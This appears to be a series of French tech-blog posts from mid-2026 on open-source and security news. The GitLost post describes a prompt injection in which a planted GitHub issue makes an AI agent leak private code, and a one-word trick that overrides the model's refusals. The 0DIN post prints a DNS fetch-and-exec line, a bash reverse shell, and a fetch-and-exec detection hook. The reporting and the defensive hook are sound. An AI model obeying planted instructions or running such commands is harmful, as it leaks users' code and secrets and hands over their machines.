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  • L'Inde coupe internet, puis exige le retrait du code de bitchat
    Le 23 juillet à 23h16 précisément, GitHub reçoit une notice du ministère de l'Intérieur indien avec un compte à rebours de seulement 3 heures. Ce qu'exige cette notice c'est de faire disparaître 3 dépôts de code, et pas n'importe lesquels. Ceux de bitchat , la messagerie Bluetooth de Jack Dorsey qui fonctionne sans le moindre réseau. Trois jours plus tôt, le 20 juillet, des étudiants du Cockroach Janata Party manifestent à Jantar Mantar, en plein centre de Delhi, et réclament la d

L'Inde coupe internet, puis exige le retrait du code de bitchat

Par : Korben ✨
25 juillet 2026 à 06:11

Le 23 juillet à 23h16 précisément, GitHub reçoit une notice du ministère de l'Intérieur indien avec un compte à rebours de seulement 3 heures. Ce qu'exige cette notice c'est de faire disparaître 3 dépôts de code, et pas n'importe lesquels. Ceux de bitchat , la messagerie Bluetooth de Jack Dorsey qui fonctionne sans le moindre réseau.

Trois jours plus tôt, le 20 juillet, des étudiants du Cockroach Janata Party manifestent à Jantar Mantar, en plein centre de Delhi, et réclament la démission du ministre de l'Éducation.

La police disperse leur marche à la matraque et au gaz lacrymogène, ferme des stations de métro et coupe l'internet mobile autour du site. Alors au bout de 2 jours de coupure, les manifestants basculent sur des applis qui n'en ont pas besoin.

Bitchat, sorti l'été dernier, fait exactement ça. Chaque téléphone discute en Bluetooth Low Energy avec ceux qui sont à sa portée, soit une trentaine de mètres, et relaie les messages de proche en proche. Dans une foule dense, la chaîne de relais pousse alors la portée à 300 mètres et plus.

Aucun compte à créer et aucun numéro de téléphone à fournir. Il n'y a pas non plus de serveur central, et les messages privés passent par du chiffrement Noise Protocol. Puis quand le réseau revient, l'application bascule sur le protocole Nostr pour la portée mondiale.

Le code iOS de Bitchat est dans le domaine public, tout comme la version Android en GPL-3.0. Dorsey avait d'ailleurs ressorti la même boîte à outils il y a quelques jours avec Buzz, son chat d'équipe .

L'application, dit la notice de l'Indian Cybercrime Coordination Centre, "permet la communication même pendant des restrictions réseau" et crée "un risque substantiel d'utilisation abusive par des éléments antinationaux, des organisations terroristes, des groupes criminels organisés". Plus loin, on lui reproche une architecture qui entrave "l'interception légale, l'attribution et l'enquête". En clair, le reproche c'est de continuer à marcher quand l'État a coupé le net.

Côté droit, l'ordre s'appuie sur la Section 79(3)(b) de l'IT Act et la Rule 3(1)(d) des IT Rules, c'est-à-dire les articles en Inde qui protègent les hébergeurs de la responsabilité des contenus publiés par leurs utilisateurs.

Les infractions listées, elles, vont de l'accès non autorisé à un système informatique à la complicité, plus trois articles du nouveau code pénal indien sur le complot criminel et l'atteinte à l'unité nationale. Oui, oui, pour un dépôt de code... Bien sûr, l'Internet Freedom Foundation qualifie la manœuvre d'"inconstitutionnelle et autoritaire" et lui reproche de court-circuiter la procédure de blocage officielle. Certes, la Section 79 conditionne une immunité, mais elle n'ouvre absolument pas un droit de censure, puis surtout, cette notice ne désigne aucun message ni aucun fichier illicite précis mais vise le projet entier. Bref, c'est trop vague !

Et même si les rêves les plus humides du gouvernement indien se réalisaient, retirer un dépôt ne retire pas grand-chose. Si vous avez déjà l'app sur votre téléphone, elle y reste, et un maillage qui ne dépend d'aucun serveur continue de faire circuler les messages quoi qu'il arrive à la page GitHub.

MediaNama écrit que GitHub a obtempéré et retiré les liens de sa plateforme. Comme j'y ai encore accès, je pense que ça ne concerne que l'Inde et que Github a fait ça en mode géoblocage. Mais bon, peu importe, ça + l'effet Streisand, dans les heures qui ont suivi la notice, le code était de toute façon recopié sur d'autres sites. Il est sous licence libre, donc il peut être forké dans tous les sens.

En tout cas, ce n'est pas la première fois que cette messagerie sert de plan B à la population puisqu'au Népal, en septembre 2025, elle a été téléchargée près de 49 000 fois en une seule journée durant les manifestations Gen Z, soit près de 40 % de son adoption mondiale sur ce seul pays. Couper le réseau pour calmer une foule, l'Égypte avait déjà essayé en janvier 2011 , la Syrie quelques mois plus tard et on le sait, ça ne fonctionne pas.

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  • PyPI verrouille vos vieilles releases contre les tokens volés
    Bonne nouvelle pour tous ceux qui balancent du code sur PyPI. L'index officiel des paquets Python refuse désormais tout nouveau fichier ajouté à une release qui a plus de 14 jours. Le correctif vient de Seth Larson, développeur sécurité en résidence à la Python Software Foundation, et il colmate un trou que personne n'avait encore exploité sur PyPI... mais qui traînait là, grand ouvert. Jusqu'ici, un mainteneur pouvait ajouter un fichier à n'importe quelle release, même sortie il y a 3 ans. Prat

PyPI verrouille vos vieilles releases contre les tokens volés

Par : Korben ✨
23 juillet 2026 à 09:28

Bonne nouvelle pour tous ceux qui balancent du code sur PyPI. L'index officiel des paquets Python refuse désormais tout nouveau fichier ajouté à une release qui a plus de 14 jours. Le correctif vient de Seth Larson, développeur sécurité en résidence à la Python Software Foundation, et il colmate un trou que personne n'avait encore exploité sur PyPI... mais qui traînait là, grand ouvert.

Jusqu'ici, un mainteneur pouvait ajouter un fichier à n'importe quelle release, même sortie il y a 3 ans. Pratique pour livrer une nouvelle wheel, dangereux si un token de publication se fait voler. Un attaquant avec vos clés pouvait glisser un binaire vérolé dans une version stable que tout le monde télécharge depuis des lustres, sans déclencher la moindre alerte. Larson le dit sans détour : si ça n'a pas encore été abusé, c'est juste que les pirates n'avaient pas réalisé que c'était possible.

Le déclencheur, c'est l'affaire LiteLLM et Telnyx, deux paquets populaires compromis en mars dernier via une "référence mutable" dans leur usage de la GitHub Action Trivy. Encore une compromission de la chaîne d'appro, dans la lignée de Shai-Hulud sur npm dont je vous ai déjà parlé avec son scanner dédié , même si le mécanisme n'est pas le même. Le sujet mijotait depuis janvier 2024 dans les discussions autour de PEP 740, sauf qu'il coinçait sur un cas d'usage bien réel. En effet, certains projets ajoutent le support d'une nouvelle version de Python, genre les wheels cp314 pour Python 3.14, à d'anciennes releases longtemps après leur sortie.

Sauf que les chiffres ont tranché. En interrogeant la base PyPI sur les 15 000 paquets les plus populaires, seuls 56 avaient publié une wheel compatible 3.14 plus de 14 jours après une release. 56 sur 15 000, autant dire une poignée. Mike Fiedler, l'ingénieur sécurité de PyPI, a donc porté le débat au Packaging Summit de la PyCon US 2026, et le consensus est tombé. Il est maintenant demandé à ces projets de bumper vers une nouvelle version.

Après ne prenez pas cette nouvelle mesure de sécurité comme une garantie. Il n'existe aucune API pour vérifier qu'une release est "fermée", et les vraies règles du jeu ne seront gravées dans le marbre qu'avec l'API Upload 2.0 et les Staged Previews prévus par PEP 694. Donc pour l'instant, c'est un verrou qui protège, mais pas un vrai contrat de confiance sur lequel bâtir (De quoi Darty ??).

N'empêche que le bénéfice est immédiat car ça fait moins de ménage pour les admins PyPI quand un projet se fait trouer, et s'en est fini de l'état schizophrène où une release est à moitié compromise, à moitié saine, avec quelques fichiers vérolés planqués au milieu. Une vieille release devient un bloc figé, et voilà !

GitHub avait déjà dégainé la même idée avec ses releases immuables , qui rendent vos versions intouchables même par le mainteneur du projet.

Bref, une porte de moins pour les attaquants supply chain. Sympa non ?

Source (repéré chez Simon Willison)

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  • EVE Online - 30 dépôts MIT sur GitHub, dont un qui ne compile pas
    8 825 joueurs qui se canardent au même endroit, sur un seul serveur, pendant 14 heures. C'était en 2020 dans le système FWST-8 d'EVE Online, et le moteur qui a encaissé ça s'appelle Carbon. Et si je vous cause de ça c'est parce que Fenris Creations (le studio du jeu, ex-CCP Games) vient de le poser sur GitHub , en licence MIT, gratuit ! Au fil des mois, ils ont ainsi mis en ligne 33 dépôts à cloner, dont 30 sous licence MIT. Vous y trouvez Trinity, le moteur de rendu, Destiny , qui simule la phy

EVE Online - 30 dépôts MIT sur GitHub, dont un qui ne compile pas

Par : Korben ✨
10 juillet 2026 à 17:04

8 825 joueurs qui se canardent au même endroit, sur un seul serveur, pendant 14 heures. C'était en 2020 dans le système FWST-8 d'EVE Online, et le moteur qui a encaissé ça s'appelle Carbon. Et si je vous cause de ça c'est parce que Fenris Creations (le studio du jeu, ex-CCP Games) vient de le poser sur GitHub , en licence MIT, gratuit !

Au fil des mois, ils ont ainsi mis en ligne 33 dépôts à cloner, dont 30 sous licence MIT. Vous y trouvez Trinity, le moteur de rendu, Destiny , qui simule la physique et calcule les trajectoires de vos vaisseaux, et même une bibliothèque C++ dédiée au calcul d'itinéraire sur la carte du jeu. Du code qui tourne en production depuis 20 ans.

Et ça se monte tout seul puisque le README de Trinity dit simplement ceci : "*Compilez en utilisant le fichier CMakeLists.txt fourni à la racine du dépôt. *".

Un moteur de rendu avec 20 ans de production dans les pattes et pas une seule dépendance planquée, c'est fou.

Par contre, Destiny, lui, c'est le meuble en kit livré sans le sachet de vis. Son README prévient : "Pour compiler la bibliothèque, vous devez avoir accès à Perforce, car c'est là que se trouvent certaines de nos dépendances."

Pour vous la faire courte, chez vous, ça ne compilera pas, donc.

Car le 8 juillet, un développeur a ouvert l'issue #5 pour demander gentiment la liste des dépendances liées à Perforce et jusqu'à aujourd'hui, c'est resté sans réponse. Donc non, vous ne monterez pas votre serveur EVE privé ce week-end car l'économie du jeu et l'infrastructure serveur ne sont pas dans les cartons.

Alors pourquoi maintenant ??? Eh bien en mai, le studio a repris son indépendance en se rachetant 120 millions de dollars à Pearl Abyss, et il prépare EVE Frontier, un MMO de survie spatiale qu'il annonce "personnalisable, adapté au joueur". Donc "ouvrir la maison", ça prépare le terrain...

En tout cas, je trouve que ça nous change des jeux qu'on libère une fois morts, comme Arma Cold War Assault, dont Bohemia a ouvert le code pour ses 25 ans . Et vu ce que les moddeurs sortent sans même avoir le code ( un type a collé un mode multijoueur dans le Witcher 3 , j'vous rappelle ^^), avec les sources sous la main ça va être drôle.

Merci Emmanuel pour le lien !

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  • GitLost - Un seul mot suffit pour faire cracher ses dépôts privés à l'IA de GitHub
    Et c'est reparti pour un tour ! Qu'est-ce que vous pensez d'un dépôt privé sur Github qui serait capable d'exfiltrer tout seul son propre code dans une section commentaire visible publiquement par tout le monde. Ce serait ouf non ? Hé bien c'est le tour de passe-passe que Sasi Levi, de chez Noma Security, vient de réussir grâce à l'agent IA de GitHub. Et vous allez voir, c'est tout con, donc c'est hyper flippant. Cette attaque s'appelle GitLost et la cible, c'est le GitHub Agentic Workflows, un

GitLost - Un seul mot suffit pour faire cracher ses dépôts privés à l'IA de GitHub

Par : Korben ✨
8 juillet 2026 à 11:04

Et c'est reparti pour un tour ! Qu'est-ce que vous pensez d'un dépôt privé sur Github qui serait capable d'exfiltrer tout seul son propre code dans une section commentaire visible publiquement par tout le monde. Ce serait ouf non ?

Hé bien c'est le tour de passe-passe que Sasi Levi, de chez Noma Security, vient de réussir grâce à l'agent IA de GitHub. Et vous allez voir, c'est tout con, donc c'est hyper flippant.

Cette attaque s'appelle GitLost et la cible, c'est le GitHub Agentic Workflows, un système qui colle un agent IA (tournant sur Claude ou Copilot) à vos GitHub Actions pour qu'il bosse tout seul sur vos tickets. C'est un setup où l'agent a un accès en lecture à vos repos privés et se réveille dès qu'une issue lui est assignée. C'est super pratique, sauf que... c'est un vrai piège qui peut se refermer très vite sur vous.

Ça commence en fait par une simple issue dans un dépôt public. Rien de sorcier, pas de commit vérolé, pas de serveur MCP malveillant. Juste du texte, avec des instructions planquées en anglais au milieu du ticket. L'agent lit alors cette issue, tombe sur les instructions cachées à l'intérieur et les considère comme des ordres légitimes.

Et c'est là que ça part en couille, puisqu'après il part gentiment chercher le contenu d'un README qu'on lui demande dans un dépôt privé auquel il a accès (dans la démo, sasinomalabs/testlocal). Jusqu'ici, c'est l'exfiltration classique du prompt injection, sauf que d'habitude, il faut ruser pour faire sortir la donnée avec une image markdown piégée, une requête réseau vers un serveur qu'on contrôle, un canal caché...etc.

Mais dans le cadre de cette attaque GitLost, eh bien il n'y a pas besoin de tout ça. En fait, l'agent recopie bêtement le contenu privé dans un commentaire public sur l'issue de départ et c'est terminé. C'est donc lisible par n'importe qui passant sur le repo public.

Lors des tests, le modèle refusait quand même parfois d'obéir aux instructions cachées. Mais le chercheur a trouvé une parade qui est d'ajouter le mot "Additionally" dans le prompt. Ce simple connecteur suffit à lui faire reconsidérer son refus et exécuter la commande. Attention, "Additionally" n'est pas une formule magique qui débloque toutes les IA de la Terre, mais parfois ça suffit à faire sauter les garde-fous. C'est dire à quel point la sécurité de ces modèles est solide...

Si ça vous rappelle quelque chose, c'est normal. On a déjà eu CamoLeak , qui transformait Copilot en espion via un commentaire GitHub, avec une exfiltration bien plus léchée (image markdown, score CVSS de 9,6). Et en fait GitLost, c'est vraiment la version feignasse. En gros, c'est la même famille d'attaque, sauf que cette fois l'attaquant n'a pas à se fatiguer.

On avait aussi vu une bibliothèque Java piéger les IA codeuses pour qu'elles effacent vos tests, donc je pense que vous connaissez la chanson... Méfiez-vous des agents qui écrivent du code sans surveillance parce qu'ils sont devenus une véritable cible pour les cybercriminels.

Voilà, donc non, GitHub n'est pas "troué" et la config vulnérable est très précise puisqu'il faut un agent avec accès en lecture cross-repo ET déclenché par des entrées publiques. Et il y a très peu d'orgas qui tournent exactement comme ça. Noma a bien sûr signalé la faille à GitHub de façon responsable, aucune CVE n'a été attribuée à ce jour, et y'a eu aucune confirmation publique d'un correctif de leur côté pour le moment.

Ne traitez donc jamais le texte d'un utilisateur comme une instruction de confiance, isolez les entrées, collez au strict minimum de permissions. C'est le même délire quand on contrôle les entrées dans un formulaire finalement...

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  • Un dépôt GitHub trop propre suffit à pirater Claude Code
    Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant. Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux ! Le pire, c'est que la faille n'est pas réellement da

Un dépôt GitHub trop propre suffit à pirater Claude Code

Par : Korben ✨
30 juin 2026 à 09:18

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

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  • Steam Controller - elle rampe toute seule vers son chargeur
    Il y a des problèmes qui n'existent pas, et des gens qui les résolvent quand même... Ray Foss en fait partie. Ce dernier a fait en sorte que sa Steam Controller flambant neuve rampe toute seule jusqu'à son chargeur, sans qu'il ait à lever le petit doigt. Et pour cela, il a codé son Triton Auto-Charge Vision Tracker qui tourne entièrement dans le navigateur et qui est utilisable par tous ! Le principe est bien tordu... Vous collez une webcam au-dessus de votre bureau, vous ouvrez la page, et vous

Steam Controller - elle rampe toute seule vers son chargeur

Par : Korben ✨
28 juin 2026 à 07:55

Il y a des problèmes qui n'existent pas, et des gens qui les résolvent quand même... Ray Foss en fait partie. Ce dernier a fait en sorte que sa Steam Controller flambant neuve rampe toute seule jusqu'à son chargeur, sans qu'il ait à lever le petit doigt. Et pour cela, il a codé son Triton Auto-Charge Vision Tracker qui tourne entièrement dans le navigateur et qui est utilisable par tous !

Le principe est bien tordu... Vous collez une webcam au-dessus de votre bureau, vous ouvrez la page, et vous cliquez sur trois points à l'écran : le palet de charge, l'avant de la manette, l'arrière. À partir de là, la vision par ordinateur suit la manette en temps réel pendant que le code pilote ses deux petits moteurs de vibration internes.

Petit rappel si vous aviez hiberné, Valve a ressorti sa Steam Controller en mai dernier, des années après avoir lâché la première. Elle se recharge sur un palet magnétique, et c'est pile poil cette dernière étape que Foss a automatisée. La Steam Controller, c'est aussi la manette dans laquelle Valve a planqué un cri Wilhelm , et visiblement elle attire les bidouilleurs.

En pulsant ces moteurs de façon asymétrique, autour de 70 Hz, la page fait littéralement ramper la manette sur le bureau et la réoriente petit à petit vers le palet. C'est le principe de ces bristlebots faits avec une brosse à dents et un moteur vibreur de téléphone, sauf qu'ici les moteurs étaient prévus pour faire vibrer la manette dans vos jeux, et surement pas pour la balader sur le bureau...

Pas d'install, pas de pilote à régler non plus, c'est la page qui se connecte directement à la manette via WebHID, la même techno qui permet déjà de tester son matos gaming dans le navigateur , à condition d'être sur Chrome ou Edge parce que Firefox et Safari boudent toujours cette API.

L'interface de l'outil, avec les points de repère à placer sur la manette et le palet.

Au passage, elle lit la batterie de la manette et vous affiche le pourcentage et même le voltage de la cellule, histoire de confirmer que le contact magnétique se fait bien.

Foss a aussi prévu un mode approche en douceur qui réduit de moitié la fréquence des vibrations quand la manette arrive tout près du palet, pour qu'elle se pose dedans au lieu de le percuter. Enfin, en théorie, parce qu'il prévient lui-même que l'amarrage n'est pas garanti.

La vraie limite du truc, c'est que le calage des points de repère reste assez pénible à faire.

Ça ne sert strictement à rien, mais c'est marrant. Le projet est en open source sur GitHub si vous voulez tenter le coup chez vous.

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  • GitHub désactive 73 dépôts Microsoft en 105 secondes pour stopper le ver Miasma
    GitHub a désactivé 73 dépôts appartenant à Microsoft en l'espace de 105 secondes, le temps de couper la propagation d'un ver baptisé Miasma. Un ver, vous le savez, c'est ce genre de logiciel malveillant qui se recopie tout seul d'un projet à l'autre, sans la moindre intervention humaine. Celui-là s'attaque directement aux développeurs, et plus précisément à leurs outils. Tout est parti du dépôt Azure/durabletask. Un compte de contributeur compromis y a poussé un commit piégé, qui déposait au pas

GitHub désactive 73 dépôts Microsoft en 105 secondes pour stopper le ver Miasma

9 juin 2026 à 18:21

GitHub a désactivé 73 dépôts appartenant à Microsoft en l'espace de 105 secondes, le temps de couper la propagation d'un ver baptisé Miasma.

Un ver, vous le savez, c'est ce genre de logiciel malveillant qui se recopie tout seul d'un projet à l'autre, sans la moindre intervention humaine. Celui-là s'attaque directement aux développeurs, et plus précisément à leurs outils.

Tout est parti du dépôt Azure/durabletask. Un compte de contributeur compromis y a poussé un commit piégé, qui déposait au passage quelques fichiers de configuration. Anodin, en apparence.

Sauf que ces fichiers déclenchaient une exécution de code à distance, autrement dit l'attaquant faisait tourner son propre code sur votre machine, dès l'instant où vous ouvriez le dépôt dans un éditeur. Et pas n'importe lesquels : les assistants de codage dopés à l'IA étaient explicitement visés, Claude Code, Gemini CLI et Cursor en tête. Objectif, siphonner les secrets d'accès au cloud et les configurations des outils de développement, surtout sous Linux.

La purge a frappé quatre organisations GitHub de Microsoft d'un coup : toute l'org Azure Functions, l'ensemble de la famille Durable Task, et une série d'applications-exemples destinées à l'IA.

Problème, parmi les dépôts désactivés se trouvait Azure/functions-action, une brique que des milliers de projets appellent dans leurs chaînes d'automatisation, celles qui compilent et déploient le code sans intervention manuelle. Du coup, dès que functions-action@v1 a cessé de répondre, des pipelines entiers se sont effondrés en cascade, bien au-delà des serveurs de Microsoft.

Ce n'est pas la première sortie de Miasma. Le 19 mai, le ver visait déjà le paquet durabletask sur PyPI, le dépôt public où les développeurs Python piochent leurs briques de code : trois versions vérolées y ont été publiées en 35 minutes. Le 3 juin, c'est plus de 50 paquets npm, l'équivalent côté JavaScript, qui passaient à la moulinette.

Le retour sur durabletask interroge. Pour Ashish Kurmi, directeur technique de la société de sécurité StepSecurity, les jetons d'accès du compte développeur déjà compromis lors de l'attaque sur PyPI n'avaient visiblement pas tous été révoqués. La même porte est restée grande ouverte.

Côté filiation, l'éditeur de sécurité Snyk décrit Miasma comme un descendant de Mini Shai Hulud, un ver revendiqué par le groupe cybercriminel TeamPCP, qui a ensuite gentiment publié son code en open source. Microsoft, de son côté, n'a pas répondu aux sollicitations de la presse.

Bref, un seul commit, et c'est tout un pan de l'infrastructure des développeurs qui tremble.

Source : The Register

  • ✇Korben
  • HydroTracker - L'app Android qui vous hydrate
    HydroTracker, c'est une app Android open source pour suivre votre consommation d'eau au quotidien. C'est sans pub, ça fonctionne hors-ligne et ça a été mis au point par Ali Cem Çakmak, physicien et développeur passionné ! L'écran d'accueil d'HydroTracker, sobre et lisible Côté fonctionnalités, vous avez donc le suivi quotidien classique avec objectif personnalisé, des graphiques hebdo, des cartes thermiques mensuelles, le suivi des séries de jours réussis et 3 widgets à mettre sur écran d'accue

HydroTracker - L'app Android qui vous hydrate

Par : Korben ✨
20 mai 2026 à 10:04

HydroTracker, c'est une app Android open source pour suivre votre consommation d'eau au quotidien. C'est sans pub, ça fonctionne hors-ligne et ça a été mis au point par Ali Cem Çakmak, physicien et développeur passionné !

L'écran d'accueil d'HydroTracker, sobre et lisible

Côté fonctionnalités, vous avez donc le suivi quotidien classique avec objectif personnalisé, des graphiques hebdo, des cartes thermiques mensuelles, le suivi des séries de jours réussis et 3 widgets à mettre sur écran d'accueil.

Par contre, ça marche pas pour suivre votre conso de bière, désolé mes amis Chouffinistes ^^

Et puis surtout, y'a l'intégration Health Connect ce qui permet à HydroTracker de lire et écrire dans la base santé Android partagée par Samsung Health, Google Fit, Fitbit, Garmin ou Strava. Comme ça, toutes vos données sont centralisées !

Alors j'sais pas si vous avez déjà tracké votre consommation d'eau mais la plupart des apps d'hydratation se contentent de compter les verres d'eau. Cem, lui, s'appuie sur le Beverage Hydration Index (y'a une étude à ce sujet publiée dans l'American Journal of Clinical Nutrition ) et applique des coefficients différents selon les boissons, avec les seuils EFSA pour l'Europe et IOM pour les US. Un verre de lait équivaut par exemple à 1,5 fois sa quantité d'eau, et un soluté de réhydratation orale aussi. C'est logique vu la composition réelle, et pourtant aucune app grand public ne pousse le bouchon aussi loin niveau finesse !

Les analytics d'HydroTracker, façon dashboard scientifique

Et le gros morceau, vous l'aviez deviné, c'est surtout la confidentialité. Prenez par exemple Water Reminder, une app concurrente bien installée sur Android. Hé bien avec elle, vos heures de prise d'eau, votre régularité, votre comportement, tout part chez Google.

Alors que HydroTracker, lui, garde tout en local et la synchro Health Connect reste bien sûr à 100% optionnelle. Bref, si vous tenez à votre indépendance numérique vis-à-vis des géants américains , et que vous aimez rester hydraté, c'est l'app idéale !

L'app est sous licence GPL v3, dispo sur le Play Store (et bientôt sur F-Droid), ou en APK direct depuis les releases GitHub . Par contre, pas de version iOS pour l'instant. Ah et j'oubliais, les notifications de l'app s'adaptent à votre cycle de sommeil, donc elle ne vous harcelera pas la nuit. C'est con dit comme ça, mais peu d'apps le font.

Voilà, si vous voulez creuser le code, c'est sur GitHub et Cem a même sa page perso sur cmckmk.com .

Merci à Alex pour le tip !

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  • GitHub hack - Une extension VS Code piège un employé
    Alors celle-là, elle est incroyable les copains ! Le piratage du jour vient d'être confirmé par la plateforme qui héberge une bonne moitié du code de la tech mondiale ! En effet, Github a subit un accès non autorisé à ses propres dépôts internes, à cause d'une extension VS Code piégée installée sur l'ordi d'un employé ! L'annonce officielle est tombée sur le compte X de l'entreprise à l'instant et c'est comme ça que je suis tombé dessus. GitHub dit avoir détecté et maitrisé la compromission hier

GitHub hack - Une extension VS Code piège un employé

Par : Korben ✨
20 mai 2026 à 07:11

Alors celle-là, elle est incroyable les copains !

Le piratage du jour vient d'être confirmé par la plateforme qui héberge une bonne moitié du code de la tech mondiale ! En effet, Github a subit un accès non autorisé à ses propres dépôts internes, à cause d'une extension VS Code piégée installée sur l'ordi d'un employé !

L'annonce officielle est tombée sur le compte X de l'entreprise à l'instant et c'est comme ça que je suis tombé dessus.

GitHub dit avoir détecté et maitrisé la compromission hier. L'extension VS Code malveillante a été retirée, le poste de travail isolé, et la rotation des secrets critiques est en cours. Côté impact, le message officiel c'est que "À l'heure actuelle, nous ne disposons d'aucune indication laissant supposer que les informations des clients stockées en dehors des référentiels internes de GitHub aient été compromises".

Du coup, nos repos perso, nos orgs, nos enterprises...etc, rien n'est normalement touché à ce stade, en tout cas selon ce que GitHub voit pour l'instant.

Le thread officiel de GitHub sur l'incident

Sauf que sur le darkweb, un acteur baptisé TeamPCP, repéré par le compte de threat intel Dark Web Informer, prétend détenir et vendre environ 4000 dépôts privés volés à GitHub. L'entreprise n'a pas publié de chiffre officiel mais a reconnu que la revendication était cohérente avec son enquête en cours, le rapport complet arrivera une fois bouclé.

Bref, à prendre au sérieux mais avec des pincettes le temps que ça se vérifie !

C'est vrai qu'en ce moment, on est dans une vague d'attaques supply chain qui ciblent les extensions VS Code , qui sont devenues un vrai vecteur d'attaque reconnu. Et tout le monde peut se faire piéger (même les ingés GitHub !).

Donc pour vous qui me lisez, la règle de base reste la même : Installez une extension VS Code uniquement si vous faites confiance à l'éditeur. En pratique, faut regarder le tag publisher verified, l'âge du compte, le nombre d'installs et la date de la dernière release, et surtout méfiez-vous des forks fraîchement republiés sous des noms qui ressemblent à un outil connu.

Pour suivre ça maintenant, le thread officiel et ses mises à jour sont sur le compte X de GitHub .

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  • Notchi - Une mascotte pixel-art dans l'encoche pour Claude Code
    Vous vous souvenez de l'encoche des MacBook Pro et autres Air d'Apple ? Mais siiii, celle qu'on avait tous trouvée bien moche en 2022, au point que je vous avais pondu un article entier pour la faire disparaître ! Hé bien 4 ans plus tard, sk-ruban a décidé de lui donner une vraie utilité avec notchi qui transforme proprement cette encoche maudite en un compagnon fait de pixel-art et d'amour qui réagit en temps réel à votre Claude Code. La boucle est bouclée, mes amis ! Une fois installée, l'app

Notchi - Une mascotte pixel-art dans l'encoche pour Claude Code

Par : Korben ✨
17 mai 2026 à 09:26

Vous vous souvenez de l'encoche des MacBook Pro et autres Air d'Apple ? Mais siiii, celle qu'on avait tous trouvée bien moche en 2022, au point que je vous avais pondu un article entier pour la faire disparaître ! Hé bien 4 ans plus tard, sk-ruban a décidé de lui donner une vraie utilité avec notchi qui transforme proprement cette encoche maudite en un compagnon fait de pixel-art et d'amour qui réagit en temps réel à votre Claude Code.

La boucle est bouclée, mes amis !

